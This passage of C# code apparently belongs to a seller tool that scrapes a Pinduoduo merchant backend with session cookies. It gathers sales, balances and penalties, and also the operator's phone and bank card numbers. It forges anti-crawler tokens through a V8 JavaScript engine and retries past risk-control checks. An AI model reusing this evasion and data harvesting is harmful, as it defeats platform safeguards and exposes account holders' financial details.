refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"queryDate\":\""+DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd")+"\",\"queryType\":2,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int TAgainCount = 0;
TAgain:
if (html.Contains("Risk consult PASS"))
{
Thread.Sleep(3000);
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":2,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("Risk consult PASS") && TAgainCount < 5)
{
TAgainCount++;
goto TAgain;
}
//30天出货量
int thirtydayGoodsNum = BaseRegex.GetIntJson(ref html, "cfmOrdrUsrCnt");
//30天成交金额
decimal thirtydayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt");
//今天成交额
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codext = jsEngine.CallFunction("aaa", "").ToString();
}
url = "https://mms.pinduoduo.com/sydney/api/mallInfo/mallPayList";// "https://mms.pinduoduo.com/mars/shop/queryDailyMallConfirmAmount";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"crawlerInfo\":\"" + codext + "\" }";// UploadPinduoduoMain.AntiContent
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int AgainCount = 0;
Again:
if (html.Contains("Risk consult PASS"))
{
Thread.Sleep(3000);
data = "{\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("Risk consult PASS")&& AgainCount<5)
{
AgainCount++;
goto Again;
}
//今天成交额
decimal todayNum = BaseRegex.GetDecimalJson(ref html, "curCfmOrdrAmt");
decimal todayMount = todayNum;
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codext = jsEngine.CallFunction("aaa", "").ToString();
}
url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":0,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int YAgainCount = 0;
YAgain:
if (html.Contains("Risk consult PASS"))
{
Thread.Sleep(3000);
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":0,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("Risk consult PASS") && YAgainCount < 5)
{
YAgainCount++;
goto YAgain;
}
//昨天天成交金额
decimal yesdayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt");
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codext = jsEngine.CallFunction("aaa", "").ToString();
}
url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":1,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int SAgainCount = 0;
SAgain:
if (html.Contains("Risk consult PASS"))
{
Thread.Sleep(3000);
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":1,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("Risk consult PASS") && SAgainCount < 5)
{
SAgainCount++;
goto SAgain;
}
//7天成交金额
decimal sevendayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt");
//保证金
url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//保证金
int freeBalance = BaseRegex.GetIntJson(ref html, "freeBalance");
decimal freeBalanceMount = freeBalance / 100.0M;
int threshold = BaseRegex.GetIntJson(ref html, "thresholdBalance");
decimal thresholdMount = threshold / 100.0M ;
url = "https://mms.pinduoduo.com/earth/api/mallPunishment";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//惩罚店铺
int level = BaseRegex.GetIntJson(ref html, "punishmentLevel");
string punishment = string.Empty;
if (level == 1)
{
punishment = "一级惩罚";
}
else if (level == 2)
{
punishment = "二级惩罚";
}
else if (level == 3)
{
punishment = "三级惩罚";
}
else
{
punishment = "无";
}
//罚款结束时间
string punEndtime = BaseRegex.GetStringJson(ref html, "endTime");//购买时间
if (string.IsNullOrEmpty(punEndtime))
{
punEndtime = "无";
}
url = "https://mms.pinduoduo.com/genji/bloodroot/mallPunishment/query/list";
refere = "https://mms.pinduoduo.com/pg/violation_list";
data = "{\"pageSize\":10,\"pageNum\":1}";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//获取所有订单金额
var punM = BaseRegex.GetMatchRegex(ref html, @"{""firstReasonId"":[\w\W]+?}");
string punReason = "";
int punstartTime = 0;
int punendTime = 0;
for (int i = 0; punM != null && i < punM.Count; i++)
{
string item = punM[i].Groups[0].Value;
int status = BaseRegex.GetIntJson(ref item, "status");
if (status != 1)
continue;
punReason = BaseRegex.GetStringJson(ref item, "reason");
punstartTime = BaseRegex.GetIntJson(ref item, "startTime");
punendTime = BaseRegex.GetIntJson(ref item, "endTime");
}
//提现金额
url = "https://mms.pinduoduo.com/uranus/api/mall/balance";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//提现金额
decimal putAmount = BaseRegex.GetDecimalJson(ref html, "result") / 100;
//待到账资金
url = "https://mms.pinduoduo.com/uranus/api/balance/cargoBalanceV2";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{}";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());
//待到账资金
decimal waitAmount = BaseRegex.GetDecimalJson(ref html, "result") / 100;
//用户手机号
url = "https://mms.pinduoduo.com/earth/api/merchant/queryMerchantInfoByMallId";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//用户手机号
string operatorMobile = BaseRegex.GetStringJson(ref html, "operatorMobile");
//用户银行卡
url = "https://mms.pinduoduo.com/earth/api/merchant/queryMallBankCard";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies);
//用户银行卡
string accountCard = BaseRegex.GetStringJson(ref html, "accountCard");
//驳回商品记录数
url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list";
refere = "https://mms.pinduoduo.com/Pdd.html";
int check_status = 3;
int length = 10;
int start = 1;
data = "{\"start\":" + start +
",\"length\":" + length +
",\"check_status\":" + check_status + "}";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//驳回商品记录数
int totalCount = BaseRegex.GetIntJson(ref html, "total");
////昨日订单量
//url = "https://mms.pinduoduo.com/mars/shop/orderList";
url = "https://mms.pinduoduo.com/mars/shop/recentOrderList";
refere = "https://mms.pinduoduo.com/Pdd.html";
//int confirmStartTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 00:00:00")));
//int confirmEndTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 23:59:59")));
//int isLucky = -1;
//string afterSaleType = "1";
//int pageNumber = 1;
//int remarkStatus = -1;
//int pageSize = 30;
//string source = "MMS";
////{"orderType":1,"afterSaleType":1,"remarkStatus":-1,"groupStartTime":1562206464,"groupEndTime":1562292864,"pageNumber":1,"pageSize":20,"source":"MMS"}
////data = "{\"confirmStartTime\":" + confirmStartTime +
//// ",\"confirmEndTime\":" + confirmEndTime +
//// ",\"isLucky\":" + isLucky + ",\"afterSaleType\":\"" + afterSaleType +
//// "\",\"pageNumber\":" + pageNumber + ",\"remarkStatus\":" + remarkStatus +
//// ",\"pageSize\":" + pageSize + ",\"source\":\"" + source + "\"}";
////{"orderType":0,"afterSaleType":0,"remarkStatus":-1,"groupStartTime":1562206833,"groupEndTime":1562293233,"pageNumber":1,"pageSize":20,"source":"MMS"}
//data = "{\"orderType\":0,\"afterSaleType\":" + afterSaleType + ",\"remarkStatus\":" + remarkStatus + ",\"groupStartTime\":" + confirmStartTime
// + ",\"groupEndTime\":" + confirmEndTime + ",\"pageNumber\":" + pageNumber + ",\"pageSize\":" + pageSize + ",\"source\":\"MMS\"}";
////第一页匹配结果
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, UploadPinduoduoMain.AntiContent);
////昨日订单量
//int totalItemNumx = BaseRegex.GetIntJson(ref html, "totalItemNum");
////30天订单量
//url = "https://mms.pinduoduo.com/mars/shop/recentOrderList";
//refere = "https://mms.pinduoduo.com/Pdd.html";
//confirmStartTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00")));
//confirmEndTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 23:59:59")));
//isLucky = -1;
//afterSaleType = "1";
//pageNumber = 1;
//remarkStatus = -1;
//pageSize = 50;
//source = "MMS";
//data = "{\"orderType\":0,\"afterSaleType\":"+ afterSaleType + ",\"remarkStatus\":" + remarkStatus + ",\"groupStartTime\":" + confirmStartTime
// + ",\"groupEndTime\":" + confirmEndTime + ",\"pageNumber\":" + pageNumber + ",\"pageSize\":" + pageSize + ",\"source\":\"MMS\"}";
////data = "{\"confirmStartTime\":" + confirmStartTime +
//// ",\"confirmEndTime\":" + confirmEndTime +
//// ",\"isLucky\":" + isLucky + ",\"afterSaleType\":\"" + afterSaleType +
//// "\",\"pageNumber\":" + pageNumber + ",\"remarkStatus\":" + remarkStatus +
//// ",\"pageSize\":" + pageSize + ",\"source\":\"" + source + "\"}";
////第一页匹配结果
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, UploadPinduoduoMain.AntiContent);
////30天订单量
//int totalThirItemNum = BaseRegex.GetIntJson(ref html, "totalItemNum");
//物流异常
url = "https://mms.pinduoduo.com/rohan/api/rohan/mall/logistics/complaint/detail";
refere = "https://mms.pinduoduo.com/Pdd.html";
string cplt_date = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd");
int offset = 0;
length = 10;
data = "{\"cplt_date\":\"" + cplt_date +
"\",\"length\":" + length +
",\"offset\":" + offset + "}";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//物流异常
int totalWuLiuCount = BaseRegex.GetIntJson(ref html, "total");
decimal playAmount = 0m;
url = "https://mms.pinduoduo.com/mercury/play_money/list";
refere = "https://mms.pinduoduo.com/aftersales/micro_transfer?type=1";
int beginTimex = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00")));
int endTimex = BaseClass.GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59")));
data = "{\"startTime\":" + beginTimex + ",\"endTime\":" + endTimex + ",\"offset\":0,\"pageSize\":10}";
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
var playsm = BaseRegex.GetMatchRegex(ref html, @"{""playMoneyAmount"":[^}]+}");
for (int i = 0; playsm != null && i < playsm.Count; i++)
{
string orderItem = playsm[i].Groups[0].Value;
int amount = BaseRegex.GetIntJson(ref orderItem, "playMoneyAmount");
playAmount = playAmount + amount / 100;
}
#region 历史罚款记录
//延迟发货 {"classList":[],"groupType":0,"beginTime":1533657600,"endTime":1534435200,"offset":0,"limit":20,"mallId":807021}
url = "https://mms.pinduoduo.com/uranus/api/bill/queryBillStatistics";
refere = "https://mms.pinduoduo.com/Pdd.html";
int beginTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd 00:00:00")));
int endTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59")));
offset = 0;
int limit = 20;
int mallId = Shop.MallId;
data = "{\"beginTime\":" + beginTime +
",\"endTime\":" + endTime +
",\"groupType\":0,\"classList\":[],\"limit\":" + limit +
",\"offset\":" + offset + ",\"mallId\":" + mallId + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int reusltTotal = BaseRegex.GetIntJson(ref html, "totalNumber");
url = "https://mms.pinduoduo.com/uranus/api/bill/queryUserDefinedBill";
refere = "https://mms.pinduoduo.com/Pdd.html";
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
decimal sumAmount = 0M;
int page = reusltTotal / 20 + (reusltTotal % 20 > 0 ? 1 : 0);
for (int n = 1; n <= page; n++)
{
//非第一页匹配结果
if (n != 1)
{
data = "{\"beginTime\":" + beginTime +
",\"endTime\":" + endTime +
",\"groupType\":0,\"classList\":[],\"limit\":" + limit +
",\"offset\":" + (n - 1) * 20 + ",\"mallId\":" + mallId + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
//获取所有订单金额
var ordersm = BaseRegex.GetMatchRegex(ref html, @"{[^}]+""orderSn"":[^}]+}");
for (int i = 0; ordersm != null && i < ordersm.Count; i++)
{
string orderItem = ordersm[i].Groups[0].Value;
int type = BaseRegex.GetIntJson(ref orderItem, "type");
if (type != 101)
{
continue;
}
int amount = BaseRegex.GetIntJson(ref orderItem, "amount");
sumAmount = sumAmount + amount / 100;
}
}
long cbeginTime = GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00")));
long cendTime = GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59")));
url = "https://mms.pinduoduo.com/genji/poppy/overtimeShipment/query/chargeList";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"endTime\":"+ cendTime + ",\"orderSn\":\"\",\"pageNum\":1,\"pageSize\":10,\"startTime\":"+ cbeginTime + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
decimal sumChareAmount = 0M;
int total = BaseRegex.GetIntJson(ref html, "total");
page = total / 10 + (total % 10 > 0 ? 1 : 0);
for (int n = 1; n <= page; n++)
{
//非第一页匹配结果
if (n != 1)
{
data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":"+n+",\"pageSize\":10,\"startTime\":" + cbeginTime + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
//获取所有订单金额
var ordersm = BaseRegex.GetMatchRegex(ref html, @"{""orderSn"":[^}]+}");
for (int i = 0; ordersm != null && i < ordersm.Count; i++)
{
string orderItem = ordersm[i].Groups[0].Value;
decimal amount = BaseRegex.GetDecimalJson(ref orderItem, "chargeAmount");
sumChareAmount = sumChareAmount + amount;
}
}
cbeginTime = GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00")));
cendTime = GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59")));
url = "https://mms.pinduoduo.com/genji/poppy/stockout/query/stockoutList";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":1,\"pageSize\":10,\"startTime\":" + cbeginTime + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
decimal sumStockAmount = 0M;
total = BaseRegex.GetIntJson(ref html, "total");
page = total / 10 + (total % 10 > 0 ? 1 : 0);
for (int n = 1; n <= page; n++)
{
//非第一页匹配结果
if (n != 1)
{
data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":" + n + ",\"pageSize\":10,\"startTime\":" + cbeginTime + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
//获取所有订单金额
var ordersm = BaseRegex.GetMatchRegex(ref html, @"{""confirmTime"":[^}]+}");
for (int i = 0; ordersm != null && i < ordersm.Count; i++)
{
string orderItem = ordersm[i].Groups[0].Value;
int amount = BaseRegex.GetIntJson(ref orderItem, "couponAmount");
sumStockAmount = sumStockAmount + amount/100M;
}
}
//访问量
//url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/overviewList";
//refere = "https://mms.pinduoduo.com/sycm/goods_effect";
//string endDate = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd");
//string sevStartDate = DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd");
//string startDate = DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd");
//data = "{\"endDate\":\"" + endDate +
// "\",\"startDate\":\"" + startDate +
// "\"}";
////第一页匹配结果
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
////上架商品记录数
//int lower66Count = BaseRegex.GetIntJson(ref html, "total");
//var mm = BaseRegex.GetMatchRegex(ref html, @"{\s*""avgGoodsUv"":[^\}]+?}");
//int oneUVSum = 0;
//int onePVSum = 0;
//decimal oneVcrSum = 0;
//int sevUVSum = 0;
//int sevPVSum = 0;
//decimal sevVCRSum = 0;
//int thirtyUVSum = 0;
//int thirtyPVSum = 0;
//decimal thirtyVCRSum = 0;
//for (int j = 0; mm != null && j < mm.Count; j++)
//{
// string item = mm[j].Groups[0].Value;
// string statDate = BaseRegex.GetStringJson(ref item, "statDate");
// int goodsUv = BaseRegex.GetIntJson(ref item, "goodsUv");
// int goodsPv = BaseRegex.GetIntJson(ref item, "goodsPv");
// decimal goodsVcr = BaseRegex.GetDecimalJson(ref item, "goodsVcr");
// if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(endDate))
// {
// oneUVSum += goodsUv;
// onePVSum += goodsPv;
// oneVcrSum += goodsVcr;
// }
// if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(sevStartDate))
// {
// sevUVSum += goodsUv;
// sevPVSum += goodsPv;
// sevVCRSum += goodsVcr;
// }
// if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(startDate))
// {
// thirtyUVSum += goodsUv;
// thirtyPVSum += goodsPv;
// thirtyVCRSum += goodsVcr;
// }
//}
//sevVCRSum = sevVCRSum / 7;
//thirtyVCRSum = thirtyVCRSum / 30;
int oneUVSum = 0;
int onePVSum = 0;
decimal oneVcrSum = 0M;
int sevUVSum = 0;
int sevPVSum = 0;
decimal sevVCRSum = 0M;
int thirtyUVSum = 0;
int thirtyPVSum = 0;
decimal thirtyVCRSum = 0M;
//if (string.IsNullOrEmpty(PinduoduoAuth.strContent))
//{
// string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js";
// PinduoduoAuth.strContent = FileBase.ReadAllText(path);
//}
//string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000";
//string str = "";
//for (int i = 0; i < 16; i++)
//{
// str += new Random(Guid.NewGuid().GetHashCode()).Next(9);
//}
//string strToken = str + "-" + strTime;
//string strNumber = "";
//string temp2 = strTime + "," + strToken + "," + strNumber;
//string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber);
//string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent);
if (string.IsNullOrEmpty(PinduoduoAuth.strContent))
{
//string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js";
PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path);
}
if (string.IsNullOrEmpty(NoCode))
{
html = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt");
NoCode = BaseRegex.GetMatchRegexString(ref html, @"([\w\W]+?)-----");
}
string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000";
string strNumber = "https://mms.pinduoduo.com/latitude/auth/login";
string fun2 = @"getEncode('" + strTime + "','" + NoCode + "','')";
string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent);
cookies = Shop.Cookies;
//昨天
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codex = jsEngine.CallFunction("aaa", "").ToString();
}
//url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
//refere = "https://mms.pinduoduo.com/sycm/goods_effect";
//data = "{\"beginDate\":\""+ DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"endDate\":\""+ DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\""+ codex + "\"}";
//data = "{\"queryType\":0,\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}";
url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
refere = "https://mms.pinduoduo.com/sycm/goods_effect";
data = "{\"queryType\":0,\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
onePVSum = BaseRegex.GetIntJson(ref html, "gpv");
oneUVSum = BaseRegex.GetIntJson(ref html, "guv");
oneVcrSum = BaseRegex.GetDecimalJson(ref html, "payUvRto");
int totalItemNum= BaseRegex.GetIntJson(ref html, "payOrdrCnt");
//url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList";
//refere = "https://mms.pinduoduo.com/Pdd.html";
//data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 1 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
//html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
//int allCount = BaseRegex.GetIntJson(ref html, "total");
//page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
//for (int i = 1; i <= page; i++)
//{
// if (i != 1)
// {
// data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 1 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
// html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
// }
// m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}");
// for (int j = 0; m != null && j < m.Count; j++)
// {
// string list = m[j].Groups[0].Value;
// int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv");
// int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv");
// decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr");
// oneUVSum += goodsUv;
// onePVSum += goodsPv;
// oneVcrSum += goodsVcr;
// }
//}
if (sevFlag)
{
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codex = jsEngine.CallFunction("aaa", "").ToString();
}
//url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
//refere = "https://mms.pinduoduo.com/sycm/goods_effect";
//data = "{\"beginDate\":\"" + DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}";
url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
refere = "https://mms.pinduoduo.com/sycm/goods_effect";
data = "{\"queryType\":1,\"queryDate\":\"\",\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
sevPVSum = BaseRegex.GetIntJson(ref html, "gpv");
sevUVSum = BaseRegex.GetIntJson(ref html, "guv");
sevVCRSum = BaseRegex.GetDecimalJson(ref html, "payUvRto");
////7天
//url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList";
//refere = "https://mms.pinduoduo.com/Pdd.html";
//data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 7 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
//html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
//allCount = BaseRegex.GetIntJson(ref html, "total");
//page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
//for (int i = 1; i <= page; i++)
//{
// if (i != 1)
// {
// data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 7 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
// html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
// }
// m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}");
// for (int j = 0; m != null && j < m.Count; j++)
// {
// string list = m[j].Groups[0].Value;
// int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv");
// int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv");
// decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr");
// sevUVSum += goodsUv;
// sevPVSum += goodsPv;
// sevVCRSum += goodsVcr;
// }
//}
}
int totalThirItemNum = 0;
if (thirFlag)
{
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codex = jsEngine.CallFunction("aaa", "").ToString();
}
//url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
//refere = "https://mms.pinduoduo.com/sycm/goods_effect";
//data = "{\"beginDate\":\"" + DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}";
url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
refere = "https://mms.pinduoduo.com/sycm/goods_effect";
data = "{\"queryType\":2,\"queryDate\":\"\",\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
thirtyPVSum = BaseRegex.GetIntJson(ref html, "gpv");
thirtyUVSum = BaseRegex.GetIntJson(ref html, "guv");
thirtyVCRSum = BaseRegex.GetDecimalJson(ref html, "payUvRto");
totalThirItemNum = BaseRegex.GetIntJson(ref html, "payOrdrCnt");
////30天
//url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList";
//refere = "https://mms.pinduoduo.com/Pdd.html";
//data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 30 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
//html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
//allCount = BaseRegex.GetIntJson(ref html, "total");
//page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
//for (int i = 1; i <= page; i++)
//{
// if (i != 1)
// {
// data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 30 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
